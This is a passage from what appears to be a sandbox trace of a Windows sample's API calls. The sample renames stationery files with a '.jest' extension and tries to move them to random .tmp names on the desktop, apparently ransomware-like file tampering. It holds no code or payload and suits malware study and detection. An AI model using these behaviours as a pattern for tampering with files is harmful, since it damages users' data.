"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_yl9sfu14cxe2tvffdhj9k4_dukd6nc8oqyfymtueshpu0jbb0bi1o-dsfhfnt6rormhdd-yigmzvspwybdgwubku-o_v73fsmxg.tmp")) returned 0 [0130.074] GetLastError () returned 0x2 [0130.074] GetLastError () returned 0x2 [0130.074] SetLastError (dwErrCode=0x2) [0130.074] GetLastError () returned 0x2 [0130.074] SetLastError (dwErrCode=0x2) [0130.074] GetLastError () returned 0x2 [0130.074] SetLastError (dwErrCode=0x2) [0130.075] GetFullPathNameA (in: lpFileName="_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp", lpFilePart=0x18e6e4*="_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp") returned 0x8e [0130.075] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_yL9SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x394c795f, cFileName="SFu14cXe2TvFfdHJ9K4_DUKd6nc8OqyfYmTUeShpU0jbB0bI1O-DsFHFnT6ROrMhDD-yiGMZvSPWybdGWUbKU-o_V73fsMXG.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.075] GetLastError () returned 0x2 [0130.075] GetLastError () returned 0x2 [0130.075] SetLastError (dwErrCode=0x2) [0130.076] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.076] CoFreeUnusedLibraries () [0130.076] GetTickCount () returned 0x1152ede [0130.076] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.076] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.076] GetTickCount () returned 0x1152ede [0130.076] IsWindowVisible (hWnd=0x30268) returned 0 [0130.076] Sleep (dwMilliseconds=0x0) [0130.078] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.jest")) returned 1 [0130.079] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpFilePart=0x18e6d8*="GreenBubbles.jpg") returned 0x51 [0130.079] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.079] GetLastError () returned 0x2 [0130.079] VarBstrFromR4 (in: fltIn=0x479446f1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.88") returned 0x0 [0130.079] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.080] CoFreeUnusedLibraries () [0130.080] GetTickCount () returned 0x1152ede [0130.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.080] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.080] GetTickCount () returned 0x1152ede [0130.080] IsWindowVisible (hWnd=0x30268) returned 0 [0130.080] Sleep (dwMilliseconds=0x0) [0130.081] GetFullPathNameA (in: lpFileName="5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp", lpFilePart=0x18e708*="5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp") returned 0x8d [0130.081] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpFilePart=0x18e708*="GreenBubbles.jpg") returned 0x51 [0130.081] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5dwzxvyfhu mnlhvx24vivbrrds1_pog8ybid6e8rxcjkaoo nujjszgkixqzypzm9q6n4st1vq5h-t5s-wvr-jeguy7kel5ud_.tmp")) returned 0 [0130.082] GetLastError () returned 0x2 [0130.082] GetLastError () returned 0x2 [0130.082] SetLastError (dwErrCode=0x2) [0130.082] GetLastError () returned 0x2 [0130.082] SetLastError (dwErrCode=0x2) [0130.082] GetLastError () returned 0x2 [0130.082] SetLastError (dwErrCode=0x2) [0130.082] GetFullPathNameA (in: lpFileName="5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp", lpFilePart=0x18e6e4*="5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp") returned 0x8d [0130.082] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5DwzXVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7a774435, cFileName="XVYfHU mNLhvx24ViVbRRDS1_PoG8yBid6E8rxCJkAoO nUJJSZGkIXQzyPzm9q6n4st1vq5H-T5S-wVr-jEguy7kel5Ud_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.082] GetLastError () returned 0x2 [0130.082] GetLastError () returned 0x2 [0130.082] SetLastError (dwErrCode=0x2) [0130.083] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.083] CoFreeUnusedLibraries () [0130.083] GetTickCount () returned 0x1152eed [0130.083] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.083] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.083] GetTickCount () returned 0x1152eed [0130.083] IsWindowVisible (hWnd=0x30268) returned 0 [0130.083] Sleep (dwMilliseconds=0x0) [0130.084] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.jest")) returned 1 [0130.085] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpFilePart=0x18e6d8*="Shades of Blue.htm") returned 0x53 [0130.085] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.085] GetLastError () returned 0x2 [0130.085] VarBstrFromR4 (in: fltIn=0x479446f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.9") returned 0x0 [0130.086] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.086] CoFreeUnusedLibraries () [0130.086] GetTickCount () returned 0x1152eed [0130.086] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.086] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.086] GetTickCount () returned 0x1152eed [0130.086] IsWindowVisible (hWnd=0x30268) returned 0 [0130.086] Sleep (dwMilliseconds=0x0) [0130.086] GetFullPathNameA (in: lpFileName="0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp", lpFilePart=0x18e708*="0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp") returned 0x8c [0130.087] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm", lpFilePart=0x18e708*="Shades of Blue.htm") returned 0x53 [0130.087] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0vvtwetrkdrhzn5ed-gbaup xh3rr7rehvws6m7ljm6ed9 vzuogzv2_qqa1sbpzbwnzmn 3aqhww psszxrl 7tekvxqbwnfr.tmp")) returned 0 [0130.087] GetLastError () returned 0x2 [0130.087] GetLastError () returned 0x2 [0130.087] SetLastError (dwErrCode=0x2) [0130.087] GetLastError () returned 0x2 [0130.087] SetLastError (dwErrCode=0x2) [0130.087] GetLastError () returned 0x2 [0130.087] SetLastError (dwErrCode=0x2) [0130.088] GetFullPathNameA (in: lpFileName="0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp", lpFilePart=0x18e6e4*="0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp") returned 0x8c [0130.088] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0VVTwETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x54565630, cFileName="wETrkDRhzn5ED-gbAUp XH3RR7reHvWs6m7LJm6Ed9 VZUoGZv2_QQa1SBpZBWnzMN 3AqhwW PssZxRL 7tEKvxqbWNFr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.088] GetLastError () returned 0x2 [0130.088] GetLastError () returned 0x2 [0130.088] SetLastError (dwErrCode=0x2) [0130.088] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.089] CoFreeUnusedLibraries () [0130.089] GetTickCount () returned 0x1152eed [0130.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.089] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.089] GetTickCount () returned 0x1152eed [0130.089] IsWindowVisible (hWnd=0x30268) returned 0 [0130.089] Sleep (dwMilliseconds=0x0) [0130.090] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.jest")) returned 1 [0130.091] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpFilePart=0x18e6d8*="HandPrints.jpg") returned 0x4f [0130.091] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.091] GetLastError () returned 0x2 [0130.091] VarBstrFromR4 (in: fltIn=0x479446f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.9") returned 0x0 [0130.091] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.091] CoFreeUnusedLibraries () [0130.091] GetTickCount () returned 0x1152eed [0130.091] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.091] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.091] GetTickCount () returned 0x1152eed [0130.092] IsWindowVisible (hWnd=0x30268) returned 0 [0130.092] Sleep (dwMilliseconds=0x0) [0130.092] GetFullPathNameA (in: lpFileName="utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp", lpFilePart=0x18e708*="utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp") returned 0x8e [0130.092] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpFilePart=0x18e708*="HandPrints.jpg") returned 0x4f [0130.092] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utyoe27abmv jdupcj3jg4lshnnr0sdll7-zp cllhq5 bfl0btqeetcjnwakg9h-9ut vrzlprvqvqp8mjtr8k-e93vnz-6aiv.tmp")) returned 0 [0130.093] GetLastError () returned 0x2 [0130.093] GetLastError () returned 0x2 [0130.093] SetLastError (dwErrCode=0x2) [0130.093] GetLastError () returned 0x2 [0130.093] SetLastError (dwErrCode=0x2) [0130.093] GetLastError () returned 0x2 [0130.093] SetLastError (dwErrCode=0x2) [0130.093] GetFullPathNameA (in: lpFileName="utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp", lpFilePart=0x18e6e4*="utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp") returned 0x8e [0130.093] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\utYoE27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f597475, cFileName="E27ABmV jDUpCJ3jg4LSHNnR0sdLl7-ZP CllhQ5 bFl0BTqEeTCjnWakG9H-9Ut VRzlprVqvqP8mjtr8K-e93vnz-6AIv.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.093] GetLastError () returned 0x2 [0130.093] GetLastError () returned 0x2 [0130.093] SetLastError (dwErrCode=0x2) [0130.094] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.094] CoFreeUnusedLibraries () [0130.094] GetTickCount () returned 0x1152eed [0130.094] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.094] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.094] GetTickCount () returned 0x1152eed [0130.094] IsWindowVisible (hWnd=0x30268) returned 0 [0130.094] Sleep (dwMilliseconds=0x0) [0130.095] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.jest")) returned 1 [0130.096] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpFilePart=0x18e6d8*="Garden.jpg") returned 0x4b [0130.096] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.096] GetLastError () returned 0x2 [0130.096] VarBstrFromR4 (in: fltIn=0x479446f3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.9") returned 0x0 [0130.096] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.097] CoFreeUnusedLibraries () [0130.097] GetTickCount () returned 0x1152eed [0130.097] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.097] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.097] GetTickCount () returned 0x1152eed [0130.097] IsWindowVisible (hWnd=0x30268) returned 0 [0130.097] Sleep (dwMilliseconds=0x0) [0130.098] GetFullPathNameA (in: lpFileName="R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp", lpFilePart=0x18e708*="R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp") returned 0x8f [0130.098] 